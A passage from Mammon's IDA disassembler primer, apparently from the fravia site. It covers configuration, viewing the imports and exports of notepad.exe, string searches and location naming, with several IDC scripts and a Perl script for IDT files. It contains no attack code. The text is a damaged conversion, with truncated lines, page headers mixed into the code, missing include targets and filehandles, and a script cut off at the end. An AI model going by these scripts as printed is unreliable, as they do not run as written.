This option allows IDA to coagulate all @0:914[unexplored] bytes
by converting them to data or instructions.
Locate and create jump tables
This option allows IDA to try to guess address and size of @0:863[jump]
tables. Please note that disabling this option will not disable
the recognition of C-style typical switch constructs.
Coagulate data in the final pass
This option is meaningful only if "Make final analysis pass"
is enabled. It allows IDA to convert @0:914[unexplored] bytes
to data arrays in the data segments. If this option is disabled,
IDA will coagulate only code segments.

7. Character Translations and Allowed Character Lists


The default character rules suppleid with IDA are as follows:
====================================================================
// Character translations and allowed character lists
//-------------------------------------------------------------------------
// translation when ASCII string name is built using its contents
XlatAsciiName =
/*00..0F*/ "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F"
/*10..1F*/ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
/*20..3F*/ " !\"# %&'()*+,-_/"
"0123456789:;<=>?"
/*40..5F*/ "@ABCDEFGHIJKLMNO"
"PQRSTUVWXYZ[\\]^_"
/*60..7F*/ "`abcdefghijklmno"
"pqrstuvwxyz{|}~"
/*80..9F*/ "ABVGDEJZIIKLMNOP"
"RSTUFXCCSS I AUQ"
/*A0..BF*/ "abvgdejziiklmnop"
"+++++++"
/*C0..DF*/ "+--+-+++---+-"
"---++++++++__"
/*E0..FF*/ "rstufxccss i auq"
"===()~~++vn ";
// the following characters are allowed in ASCII strings, i.e.
// in order to find end of a string IDA looks for a character
// which doesn't belong to this array:
AsciiStringChars =
"\r\n\a\v\b\t\x1B"
" !\"#$%&'()*+,-./0123456789:;<=>?"
http://www.instinct.org/fravia/mamm_gip.htm (15 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
"@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_"
"`abcdefghijklmnopqrstuvwxyz{|}~"
"nTGSastOdFne8-++(=v+_P"
"f=-+++++++++++"
"+--+-+++---+----++++++++__"
"a_GpSstFTOd8fen";

// the following characters are allowed in user-defined names:


NameChars =
"$?@" // asm specific character
"_0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
// the following characters are allowed in mangled names.
// they will be substituted with the SubstChar during output if names
// are output in a mangled form.
MangleChars = "$:?([.)]" // watcom
"@$%?" // microsoft
"@$%"; // borland
SubstChar = '_'
====================================================================
Of these, two areas are of interest. The first is the "NameChars" section, which
dictates which characters may be used for naming an address. For maximum flexibility
(and to help make IDC scripts that automatically generate names run better), you may
want to increase the characters in this section ot include the full range, i.e.
"$?@"
becomes:
"$?@!#%^&*-+=~|\}{[]:;><,./"
although this is strictly up to the user. The MangleChars section is also important for
those working from code "compiled.class" tppabs="http://fravia.org/compiled.class" with mangling set on; if
the compiler of the target uses
different mangling characters that the ones listed (rare), you can include them here--you
can also change the character with which the mangled characters are replaced by changing
the SubstChar value.

Loading a program
-----------------
For all of the examples in this primer, I will be using notepad.exe as a target; I will
also be assuming that the configuration changes mentioned above have been made. To begin,
launch IDAW.EXE and type "c:\windows\notepad.exe" at the "Select File" dialog box, press
OK.
http://www.instinct.org/fravia/mamm_gip.htm (16 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer

Immediately IDA will bring up a dialog box prompting you for loading options. Make sure that
Portable Executable is checked (for Win32 files), that "Create Segments", "Load Resources", and
"Make Imports Section" are checked, and that "Rename DLL Entries" is unchecked. Also ensure that
the "DLL directory" is set to the location of kernel32.dll et. al., usually C:\windows\system.

Press OK, and wait for the green "Ready" notice to appear in the upper left of the IDA menu bar.

A few notes about the IDA user interface may be helpful at this point. IDA uses a text-mode windowing
techniques common in console-mode applications; each window has a toborder with a green square (close),
a title, and a green arrow (restore/mamximize), a right border with a veritcal scroll bar, and a bottom
border with a horizontal scrollbar and a green corner (resize); the windows may be moved by dragging on
the title bar, or resized by dragging on the green corner. F6 switches between windows (like Alt-Tab),
F7 tiles all windows (except the Messages Windows, which is like a desktop), and F8 cascades all windows.

Note that the disassembled listing is referred to as the Code Window or Text Window; you can open multiple
views of the same program by selecting the View->Disassembly menu item, or by pressing F3.

As with any Windows DOS box, clicking on the small MS-DOS icon (for the system menu) gives you an Edit
submenu with Mark and Copy options; to copy text out of IDA and inot a windows editor, select Edit->Mark,
highlight the text you want to copy, then select Edit->Copy, then go to the windows editor and Ctrl-V
(or Edit->Paste) to insert the text selected from IDA.

Viewing Imports
---------------
All of the programs's imports will appear as names in the program, and may be viewed in the Names window
by selecting the View->Names menu item; however as this contains all of the names in the program it may be
a bit confusing. Double-clicking on the name of an inport will bring you to its entry in the .idata segment
(see below).

Another way to view the imports is to select the View->Segments menu item, which will bring up the Segments
window. Double-click on the .idata segment; this will jump the disassembled listing to the start of the .id
segment, which will contain all of the program's imports in pink text. To the right of each import, at the
of
the line, will be a list of addresses in the program which all that import. Double-clicking on one of these
addresses will jump the disassembled listing to that address.

Example: View the .idata segment of Notepad.exe as mentioned above. The imports are sorted by module; scrol
down
to the Kernel32.dll imports and find the one for "lstrcmpa". You should see a line like this:
00407300 ?? ?? ?? ?? extrn lstrcmpA:dword ; DATA XREF: sub_401FAC+15
http://www.instinct.org/fravia/mamm_gip.htm (17 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
00407300 ; sub_4045AF+3E^r
00407300 ; .text:004046B9^r
00407300 ; .text:004046DD^r
Each of the locations after a ";" is an address in the file that calls lstrcmpa; these are known as
cross-references,
or X-refs for short. Double-click on the first one; note how it brings you to
|00401FC1 FF 15 00 73 40 00 call ds:lstrcmpA
|00401FC7 85 C0 test eax, eax
|00401FC9 75 10 jnz short loc_401FDB
Press Esc to go back to the lstrcmp entry, then double-click on each of the remaining X-refs to scope out t
caller
code. Note how you can scout out each caller routine by double clicking on call/jmp locations within the co
and by
double-clicking on X-refs to see who initiated the caller routine; Esc, as always, returns you back the way
you came,
one step at a time.

A final method of viewing exports is to write an IDC script. IDC is the IDA macro language; it stands for
IDA-C much
in the way that QCC stands for Quake-C. All IDA scripts must include the file IDC.IDC, which contains a num
of
internal IDA functions and constants. The IDC language is a lot like C, and is described in the file
IDC.TXT--here is
brief excerpt summarizing the language:
====================================================================
IDC supports the following statements:
if (expression) statement
if (expression) statement else statement
for ( expr1; expr2; expr3 ) statement
while (expression) statement
do statement while (expression);
break;
continue;
return ;
return; the same as 'return 0;'
{ statements... }
expression; (expression-statement)
; (empty statement)
In expressions you may use almost all C operations except:
++,--
complex assigment operations as '+='
, (comma operation)
http://www.instinct.org/fravia/mamm_gip.htm (18 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
Here is how a function is declared :
static func(arg1,arg2,arg3) {
...
}
Here is how a variable is declared :
auto var;
====================================================================
That said and done, here is a script for listing the file's exports by API module
to the IDA Messages window (the blue one with all of the yellow writing on it):
====================================================================
//Imports.idc : Outputs list of imported functions to the Message Window
#include

static GetImportSeg()
{
auto ea, next, name;
ea = FirstSeg();
next = ea;
while ( (next = NextSeg(next)) != -1) {
name = SegName(next);
if ( substr( name, 0, 6 ) == ".idata" ) break;
}
return next;
}

static main()
{
auto BytePtr, EndImports;
BytePtr = SegStart( GetImportSeg() );
EndImports = SegEnd( BytePtr );
Message(" \n" + "Parsing Import Table...\n");
while ( BytePtr < EndImports ) {
if (LineA(BytePtr, 1) != "") Message("\n" + "____" + LineA(BytePtr,1) + "____" + "\n");
Message(Name(BytePtr) + "\n");
BytePtr = NextAddr(BytePtr);
}
Message("\n" + "Import Table Parsing Complete\n");
}
====================================================================
The coding is pretty straight forward if you know C: the script finds the .idata segment,
prints each non-blank anterior comment line (i.e., the line that tells what API module
the following imports belong to), then prints the Name of each defined/named address in the
http://www.instinct.org/fravia/mamm_gip.htm (19 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
.idata section. The script is executed by pressing F2 and selecting "imports.idc", assuming
that you have saved the script as imports.idc in the \IDA37?\IDC directory.

Viewing Exports
---------------
Viewing exported functions s a little easier. Perhaps the quickest way is to select the Options-Name
Representation
menu item, and mark the "type of names" dialog so it includes only publics, as follows:
Types of names included in the list of names:
[ ] Normal
[X] Public
[ ] Autogenerated
[ ] Weak
Press Ok and then select the View->Names menu item; the Names window will now only contain the exported
functions of
the program. As with any of the Names/Segments/etc windows, double clicking on any line will bring that
function up
in the "code window". [Note: if you have modified the IDA.cfg file as mentioned above, you can also browse
imports
in this manner by checking only "Normal" in the dialog box illustrated above, then ignoring everything with
"str->"
prefix; the remainder will be imports.]

If the program has an .edata segment, you can also view the exports there much in the same manner as in the
.idata method
given in the previous section. Note that Notepad has only one export ("start", the program entry point) and
also has no
.edata segment.

The IDC method works for exports as well. The following ID script searches for entry points into the progra
and displays them
in the message window:
====================================================================
//exports.idc : display eprogram entry points to the message window
#include

static main()
{
auto x, ord, ea;
Message("\n Program Entry Points: \n \n");
for ( x=0; x<= GetEntryPointQty(); x = x+1){
http://www.instinct.org/fravia/mamm_gip.htm (20 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
ord = GetEntryOrdinal( x );
ea = GetEntryPoint( ord );
Message( Name( ea ) + ": Ordinal " + ltoa( ord,16 ) + " at offset " + ltoa( ea, 16) + "\n");
}
Message("\n" + "Export Parsing Complete\n");
}
====================================================================
Once again, this script may be run by pressing F2 and selecting "exports.idc".

Viewing Strings/Resources
-------------------------
The strings can be previewed by selecting "Normal" as the "Type of names to be shown in the list of names"
the
Options->Name Representation dialog box, and then looking for everything beginning with the prefix "str->"
"a",
if using IDA straight out of the box).

In PE files, strings are commonly kept in a string table in the .rsrc segment. However, IDA does not by
default
parse the .rsrc segment for strings. Thus, an IDC script can be written to parse the .rsrc section for us,
creating
strings where any standard ASCII character is found so that the strings may be browsed either in the .rsrc
segment,
or in the names window:
====================================================================
//RSRC_Strings.IDC
//define all std ASCII characters in the .rsrc segment as strings
#include //This file contains all of the
//function protos we will be using
static main(){
auto ea; //auto is the standard variable type
ea = FirstSeg(); //Get Addr of first segment into ea
while (ea !=BADADDR) {
Message( "Analyzing " + SegName(ea) + "...\n" );
//Is this the .RSRC segment? If so...
if ( SegName(ea) == ".rsrc"){
Message(" RSRC found!\n");
while ( ea <= SegEnd(ea)) {
//Change every Std ASCII character into a string
if ( Byte(ea) > 0x19 && Byte(ea) < 0x7F){
MakeStr( ea, -1 );
http://www.instinct.org/fravia/mamm_gip.htm (21 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
MakeRptCmt(ea, Name(ea));
ea = ea + ItemSize( ea );
}
else ea = ea + 1;
}
}
ea=NextSeg(ea); //Goto Next Segment
}
Message("Done!\n");
}
====================================================================
The IDC script is functional, though not perfect (plenty of random bytes
defined as strings, but it is quick up-and-running script). Notice that IDC.IDC
contains a lot of function prototypes for use in IDC scripts; by including it, you
are able to call all of the FirstSeg(), NextSeg(), etc functions. These functions
are poorly documented, but the commented prototypes should give you enough to go
on.

The IDC script can be placed in the \IDC directory and run by pressing F2 and choosing
the rsrc_strings.idc script. Note that this script assumes that you have the default
string type set as "Unicode"; as such it will parse any Unicode resource names or values
in the .rsrc statement. For a full-fledged resource parsing IDC script a lot more work is
in order; I have started such a project with a script known as reslib.idc (too large to
include here) which is publicly available.

After running this script we can create and run a second one which will print out all of the
strings (that is, every location name that begins with "str->") in the disassembled listing:
====================================================================
//ss.idc : display all strings in the program
#include

static main()
{
auto ea;
ea = FirstSeg();
Message("\n" + "Strings in Application: \n \n");
while( ea != BADADDR) {
if( substr( Name(ea), 0, 5) == "str->") {
Message( substr(Name(ea), 5, -1) + " at address " + ltoa( ea, 16) + "\n" );
}
ea = NextAddr(ea);
}
http://www.instinct.org/fravia/mamm_gip.htm (22 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
Message("\n" + "String Listing Complete\n");
}
====================================================================
Running this after the previous IDC script will reveal the flaw in
the first one: a lot of garabage ASCII bytes are listed as strings--more,
in fact than there are actually strings. For this reason it is important
to refine your scripts so they print out only the string table and resource
names in the .rsrc section (as I have done with the reslib.idc script),
rather than blindly naming locations.

Searching for Strings/Code


--------------------------
Once you have defined strings, you can search for them using the Navigate->
Search For->Text... menu item. For instance, entering the string "Cannot" at
this dialog box will bring up the "YouCannotQuitWindows" string in the Code
window. The shortcut for FindText is Alt-T, and for FindNextText is Ctrl-T. A
"Pattern is not found" message will appear at the bottom of the message window
when there are no more occurences of the text.

What if your string has not been defined? If it is not Unicode, then you can
search for it using Navigate->SearchFor->Text In Core... (Alt-B), by entering
the string in quotes at the dialog box, as follows:
+-[_]--------------- Binary search --------------------+

Enter search (down) string:
String "FindReplace" _

[X] Case-sensitive () Hex
( ) Decimal
( ) Octal

OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
This will find occurences of "FindReplace" in the file. You can also search
for the text using the hexadecimal equivalents of the ASCII characters:
+-[_]--------------- Binary search --------------------+

Enter search (down) string:
String 46 69 6E 64 _

http://www.instinct.org/fravia/mamm_gip.htm (23 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
[X] Case-sensitive () Hex
( ) Decimal
( ) Octal

OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
This will search for "Find" in the disassembled listing. In
this way you can search for Unicode strings as well:
+-[_]--------------- Binary search --------------------+

Enter search (down) string:
String 43 00 61 00 6E 00 6E _

[X] Case-sensitive () Hex
( ) Decimal
( ) Octal

OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
This will search for the Unicode string "Cannot". Note that
simply searching for the string "Cannot" will fail due to the
00 bytes that Unicode inserts between characters. Thus, to search
effectively for Unicode strings, they must be defined first.

Searching for code can be done in the same way, using the Text In Core
method. For example, the following will search for "test eax, eax":
+-[_]--------------- Binary search --------------------+

Enter search (down) string:
String 85 C0 _

[X] Case-sensitive () Hex
( ) Decimal
( ) Octal

OK _ Cancel _ F1 for Help_
________ ________ ____________
+------------------------------------------------------+
And you can use the standard Text search for opcodes as well, though
you will get a lot of hits (i.e., you can search for the text "test" but not "test eax, eax";
http://www.instinct.org/fravia/mamm_gip.htm (24 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
therefore you will get quite a few hits).

There is, of course, a final option to make searching for strings much easier--you must write an
IDC script to front-end for the "Search for Text In Core" function. The following IDC script will
do just that, allowing you to enter a text string to search for, then converting the string to
hexadecimal and feeding it to the "Text In Core" function:
====================================================================
// textsearch.idc : search for undefined strings
#include

static main()
{
auto ea, x, y, searchstr, temp_c, binstr, array_id, alphabet, bin_c, cont;
ea = FirstSeg();
// ---- Create Array Of ASCII Characters ------------------------
// ---- Note that the index of each char = its decimal value ----
array_id = CreateArray("AsciiTable");
alphabet = "0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz";
y = 48;
for (x = 0; x < strlen(alphabet); x = x + 1 ) {
SetArrayString( array_id, y, substr(alphabet, x, x+1));
y = y +1;
}
// ---- Prompt User For Search String ----------------------------
searchstr = AskStr("", "Enter a search string:\n");
// ---- Cycle through array looking for match --------------------
for (x = 0; x < strlen(searchstr); x = x + 1 ) {
temp_c = substr(searchstr, x, x + 1 );
for( y = GetFirstIndex(AR_STR, array_id); y <= GetLastIndex(AR_STR, array_id); y =
GetNextIndex(AR_STR, array_id, y) ) {
if (temp_c == GetArrayElement(AR_STR, array_id, y)) {
bin_c = y;
break;
}
//End "If Match"
}
//End Array Loop
binstr = form("%s %X", binstr, bin_c); //Standard Version
//binstr = form("%s %X 00", binstr, bin_c); //Unicode Version
}
//End Search String Loop
Message("Search string is " + binstr + "\n"); //Debug Control
http://www.instinct.org/fravia/mamm_gip.htm (25 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
// -------- "Search" and "Search Again" Loop... --------------------
cont = 1;
while (cont==1) {
ea = FindBinary(ea, 1, binstr); //Search From ea
if( ea == -1) { //I
No Hits
Warning("No more occurrences"); //MessageBox
cont = 0;
break;
//Leave
}
Jump(ea); //Position
Cursor At Hit
cont = AskYN( 1, "Find next occurence?" ); //Search Again?
}
// --------- Cleanup and Exit
Message("\n" + "Search Complete\n");
DeleteArray(array_id);
}
====================================================================

Location Names
--------------
In IDA, location names are your greatest asset. Naming locations whose purpose
you know or suspect allows you to quickly browse the code for references to that
location. For example, do the following:
1. Go to the lstrcmp import listing
2. Double Click on the first X-ref; this should put you at 00401FC1
3. Scroll up to the start of the function (401FAC) and use the N command to name it "StringCmpFunc"
4. Rename 401FDB to "StringCmpFailed" (because of the JNZ at 401FC9)
5. Name 402033 to "Good String Name" (for the JMP at 401FD9)
Instantly the function is more readable. Now, go to the X-refs at 401FAC and double click on the
first one; this will put you at 00402816 (yes, we are back-tracing! Great, isn't it?). Here you are in
a great huge routine, and the "StringCmpFunc" stands out from the rest in bright yellow. The rest of the
internal functions (sub_???????) can be named in the same way.

Now some elementary searching browsing: You'll notice that you can see all of the names you created with
the N command in the Names window. Using Alt-T (search text), you can look for occurences of StringCmpFunc
in the disassembled listing, which will show you all of the locations that reference this function.

Ok, comments: you can comment code using the ";" key. Go back to the "StringCmpFailed" location (look it up
http://www.instinct.org/fravia/mamm_gip.htm (26 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
in the Names window), hit the ";" key and type in the text "Bad String Entered!". This is what is known as
"repeatable comment". Why repeatable? Because evey address that refers to this location will now have that
comment
suffixed to it--go back up to 401FC9 to verify. Cool, eh? You will never go back to W32Dasm...

Producing an Output File


------------------------
Producing an output file is relatively simple. If you want a full listing of the names, comments, addresses
in
short everything in the Code Window, use File->Produce Output File->Produce LST File. If you just want the
source code, with no addresses, use File->Produce Output File->Produce ASM File. If you want to produce a t
file
that will make all of the changes that you just made to an executable (in case you want someone else to be
able to
duplicate your .idb [idb: IDA database, containing all of your changes to the exe and the disassembled
listing]),
use File->Produce Output File->Produce IDC file--this will create an IDc script that, when run, will leave
disassembled listing identical to yours.

Advanced Technique
------------------
1.IDS files and Comment Databases
Custom IDS files are very useful; you will need to download the IDS utilities from
http://www.unibest.ru/~ig/idsutil.zip
Basically, you create an IDT file from a .DLL by running the DLL2IDT utility. From there you can comment th
IDT file and compress it into an IDS file using ZIPIDS, and finally move it to the appropriate subdirectory
(based on OS) of \IDS.

An IDT file looks like this:


ALIGNMENT 4
;DECLARATION
;
0 Name=ADVAPI32.dll
;
1 Name=AbortSystemShutdownA
2 Name=AbortSystemShutdownW
3 Name=AccessCheck
4 Name=AccessCheckAndAuditAlarmA
5 Name=AccessCheckAndAuditAlarmW
6 Name=AddAccessAllowedAce
http://www.instinct.org/fravia/mamm_gip.htm (27 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
7 Name=AddAccessDeniedAce
8 Name=AddAce
9 Name=AddAuditAccessAce
10 Name=AdjustTokenGroups
11 Name=AdjustTokenPrivileges
...

With this file, you can provide comments for various functions by adding "Comment=" lines to each, for
example:
154 Name=RegCreateKeyA Comment=Create a Key in the System Registry

Note that an IDT line has the following structure:


Ordinal Name=name Args=args Drops=drops Pascal=pascal Typeinfo=type Comment=comment RptCmt=ord#
The keywords are defined as follows:
Name : name of entry point [string]
Args : number of bytes occupied by entry point arguments [number]
Drops : number of bytes purged from the stack upon return [number]
Pascal : the same as Args=Drops= [number]
Typeinfo : entry point function prototype (type of input/output arguments [string]
Comment : a comment for this entry point [string]
Rptcmt : use the comment from the specified entry point [number]

Wouldn't it be nice to have all of the API prototypes entered as comments into the IDS files? Well, it can
be done, though no-one in their right mind would attempt it by hand. One of the most basic programming tool
grep.exe, will allow you to search an entire directory for lines in any file containing a specific search
pattern.
If you were to grep an entire directory for WINAPI or STDCALL, you would then have as output a file with ev
1-line API prototype in it. The following perl script will take an .idt file and grep output file, and outp
an
.idt file commented with the API prototypes to stdout or a specified filename:
====================================================================
#!/usr/bin/perl

if ($#ARGV == 0) {
print "Usage: h2idt [idtfile] [grepfile] [outfile]\n";
print "Output defaults to stdout\n";
exit (1);
}

$idtfile = $ARGV[0];
$grepfile = $ARGV[1];
if ($#ARGV == 2) {
http://www.instinct.org/fravia/mamm_gip.htm (28 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
$outfile = ">" . $ARGV[2];
} else {
$outfile = ">-";
}
open(IDTFILE, $idtfile)|| die "Can't open file: $!\n";
open(GREPFILE, $grepfile) || die "Can't open file: $!\n";
open(OUTFILE, "$outfile") || die "Can't create file: $!\n";
$i =0;
foreach (){
s/\n\r//;
@greparray[$i] = $_;
$i++;
}

print OUTFILE ";DECLARATION \n";


print OUTFILE ";ALIGNMENT 2 \n\n";
print OUTFILE "; Module Name and Description \n";

foreach () {
if ( /^0/ ){
s/\\//;
print OUTFILE $_;
print OUTFILE ";---------------------------------------\n";
break;
} elsif ( /Name=/ ){
if (/\n/){
chop; #get rid of LF
}
if (/\r/){
chop; #get rid of CR
}
$outstr = $_;
($junk, $searchstr, $junk) = split(' ', $_, 3);
$searchstr =~ s/Name=//;
$comment='';
foreach(@greparray) {
if (/\s$searchstr\(/) {
$comment = $_;
}
}
$outstr =~ s/\\//;
if ($comment != '') {
http://www.instinct.org/fravia/mamm_gip.htm (29 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
$comment =~ s/^[^a-zA-Z]+//;
$comment =~ s/\n//;
$comment =~ s/;//;
$comment =~ s/STDCALL\s//;
print OUTFILE $outstr, " Comment=", $comment, "\n";
}else {
print OUTFILE $outstr, "\n";
}
}
}
print OUTFILE ";------------------EOF------------------";
close(OUTFILE);
close(GREPFILE);
close(GREPTMP);
close(IDTFILE);
exit (0);
====================================================================
As usual with Perl/unix files, strip the above for CR/LF's before you run it in perl (you can use
Editeur, or nedit for this, depending on your OS). So, how do you do this from NT? Well, assuming
you have the NT resource kit, the process for extracting and IDT file from an existing IDS file,
grepping for prototypes (I use LCC as the protos are all 1-line), creating the commented IDT file
and compressing it into an IDS file, is as follows:

c:\ntreskit\posix\grep STDCALL c:\lcc\include\* > grep.out


c:\ida\Utility\IDSUtil\WIN32\zipids -u c:\ida\Ids\Win\kernel32.ids
c:\ntreskit\perl\perl.exe h2idt kernel32.idt grep.out idt.out
c:\ida\Utility\IDSUtil\WIN32\zipids out.idt
ren out.ids kernel32.ids

You will get --in the IDT file-- output similar to the following:
===========================================================================
;DECLARATION
;ALIGNMENT 2

; Module Name and Description


0 Name=KERNEL32.dll
;---------------------------------------
50 Name=AddAtomA Pascal=2 Comment=ATOM AddAtomA(LPCSTR);
102 Name=AddAtomW Pascal=2 Comment=ATOM AddAtomW(LPCWSTR);
103 Name=AllocConsole Pascal=0 Comment=BOOL AllocConsole(VOID);
104 Name=AllocLSCallbac Comment=BOOL AllocConsole(VOID);
===========================================================================
http://www.instinct.org/fravia/mamm_gip.htm (30 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
Note that eveyrthing after the "Comment=" will appear in the comment margin of IDA.

In addition to the IDS files, you can also maintain a database of comments that
will be inserted into the code upon disassembly. The IDA comment database is stored
in the IDA.INT file, and it can be modified with the LoadINT utility available at
http://www.unibest.ru/~ig/ldint37.zip

The Readme file best documents how to edit this database, but to show you a brief example of
the comments supplied with IDA, here is an excerpt from the PC section of the INT:
// MMX instructions
NN_emms: "Empty MMX state"
NN_movd: "Move 32 bits"
NN_movq: "Move 64 bits"
NN_packsswb: "Pack with Signed Saturation (Word->Byte)"
NN_packssdw: "Pack with Signed Saturation (Dword->Word)"
NN_packuswb: "Pack with Unsigned Saturation (Word->Byte)"
NN_paddb: "Packed Add Byte"
NN_paddw: "Packed Add Word"
NN_paddd: "Packed Add Dword"

These comments will appear (if "auto comments" is turned on) whenever the
opcode is encountered in the disassembly; note that you can browse through the .cmt files included
with LoadINT to see what the existing comments are. The most interesting will be int.cmt, pc.cmt,
portin.cmt, portout.cmt, and vxd.cmt. It is tempting --but rather daunting-- to port Ralph Brown's
Interrupt List comments to an INT database...

2.IDC Scripts
I have used IDC scripts for a number of monotonous tasks. Basically, you can use an IDC script to
parse VCL resources, to parse VB forms (if you take the time...), to encrypt or decrypt sections
of code, to print out a call trace, to perform searches for the user (e.g. a front-end to the RegEx
feature), etc.

Here are a quick few additional IDC scripts to demonstrate their usefulness:
====================================================================
//copy.idc: Outputs selected text to an .asm file
//Usage: Select text with mouse or cursor, hit F2 and type copy.idc, enter a filename when prompted
// and the selected text will be written to that file.
//Future Plans: Make this output to the Windows clipboard. I may have to patch IDA for this....
//
// code by mammon_ All rights reversed, use as you see fit.....
http://www.instinct.org/fravia/mamm_gip.htm (31 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
//------------------------------------------------------------------------------------------------------
#include

static main(){
auto filename, start_loc, end_loc;
start_loc = SelStart();
end_loc = SelEnd();
filename = AskFile( "asm", "Output file name?");
WriteTxt( filename, start_loc, end_loc);
return 0;
}
====================================================================
//------------------------------------------------------------------------------------------------------
//Haeder.idc : Imports #defines from a .h file, adds as enums
//Note: This script prompts the user for a header file (*.h), then parses the
// file looking for #define statements: these are then converted to members
// of enum "Defines".
//Bugs: Only the first instance of any value will be preserved; all others will be
// discarded with an error as you can have only one instance of any value (or
// any name) in a single enumeration. A prompt has been added for the user to
// name the enumerations for the header file, so that any duplicate enum values
// can be added to a different file and enumerated under a different "enum name."
//
// code by mammon_ All rights reversed, use as you see fit.....
//------------------------------------------------------------------------------------------------------

#include

static strip_spaces( BytePtr, hHeaderFile){


auto tempc;
fseek( hHeaderFile, BytePtr, 0);
tempc = fgetc(hHeaderFile);
while ( tempc == 0x20) {
BytePtr = BytePtr + 1;
fseek( hHeaderFile, BytePtr, 0);
tempc = fgetc(hHeaderFile);
}
return BytePtr;
}

static FindStringEnd( StrName ){


auto x, tempc;
http://www.instinct.org/fravia/mamm_gip.htm (32 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
for ( x = 1; x < strlen(StrName); x = x + 1) {
tempc = substr( StrName, x-1, x);
if ( tempc == " ") {
return substr( StrName, 0, x);
}
}
return substr( StrName, 0, strlen(StrName));
}

static FixString( StrName ){


auto x, tempc, newname;
newname="def"; //set newname to type character
for ( x = 1; x < strlen(StrName); x = x + 1) {
tempc = substr( StrName, x-1, x);
if ( tempc != "_") {
newname = newname + tempc;
}
}
return newname;
}

static main(){
auto HeaderFile, hHeaderFile, fLength, BytePtr, first_str, second_str, third_str, define_val;
auto enum_id, tempc1, x, y, errcode, define_name, FilePtr, define_str, enum_name;
FilePtr = 0;
Message("\nStart Conversion\n");
HeaderFile = AskFile( "*.h", "Choose a header file to parse:");
enum_name = AskStr("Defines", "Enter a name for the enumerations (alpha only, eg 'VMMDefines'):");
hHeaderFile = fopen( HeaderFile, "r");
fLength = filelength(hHeaderFile);
if( fLength == -1) Message( "Bad File Length!\n");
enum_id = AddEnum( GetEnumQty() + 1, enum_name, FF_0NUMH);
if ( enum_id == -1) {
enum_id = GetEnum( enum_name );
if(enum_id == -1) Message("Enum #Defines not created/not found\n");
}
SetEnumCmt( enum_id, "#define from " + HeaderFile, 1);
while(FilePtr < fLength ){
FilePtr = strip_spaces( FilePtr, hHeaderFile );
BytePtr = FilePtr;
errcode = fseek( hHeaderFile, BytePtr, 0 );
if ( errcode != 0) break;
http://www.instinct.org/fravia/mamm_gip.htm (33 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
first_str = readstr( hHeaderFile );
if ( first_str == -1 ) {
Message( "End of file! \n" );
break;
}
else if ( substr(first_str, 0, 7) == "#define" || substr( first_str, 0, 7) == "#DEFINE" ) {
FilePtr = FilePtr + strlen( first_str );
BytePtr = BytePtr + 7;
BytePtr = strip_spaces( BytePtr, hHeaderFile );
errcode = fseek( hHeaderFile, BytePtr, 0 );
if ( errcode != 0 ) break;
second_str = readstr( hHeaderFile );
if ( second_str == -1 ) {
Message( "End of file after #define!\n" );
break;
}
else {
define_name = FindStringEnd( second_str );
define_name = FixString( define_name );
BytePtr = strip_spaces( BytePtr + strstr( second_str, " " ), hHeaderFile );
errcode = fseek( hHeaderFile, BytePtr, 0);
if ( errcode != 0 ) break;
third_str = readstr( hHeaderFile);
tempc1 = substr(third_str, 0, 2);
if ( third_str == -1) {
Message( "End of file before value!\n");
break;
}
else if ( tempc1 == "0x" || tempc1 == "0X") {
define_str = FindStringEnd( third_str );
define_val = xtol( define_str );
errcode = AddConst( enum_id, define_name, define_val);
if ( errcode == 1 ) Message( "Name " + define_name + " bad or already used in
program!\n");
if ( errcode == 2 ) Message( "Value " + define_str + " already used in program!\n");
if ( errcode == 3 ) Message( "Bad enumID!\n");
}
}
}
else FilePtr = FilePtr + strlen( first_str);
}
Message("\nConversion finished!\n");
http://www.instinct.org/fravia/mamm_gip.htm (34 of 36) [2/7/2001 3:09:01 PM]
mamm_gip.htm: How to use our tools: Great +Mammon's IDA primer
}
====================================================================
//------------------------------------------------------------------------------------------------------
//funcalls.idc : Display the calls made by a function

#include

static main(){
auto ea,x,f_end;
ea = ChooseFunction("Select a function to parse:");
f_end = FindFuncEnd(ea);
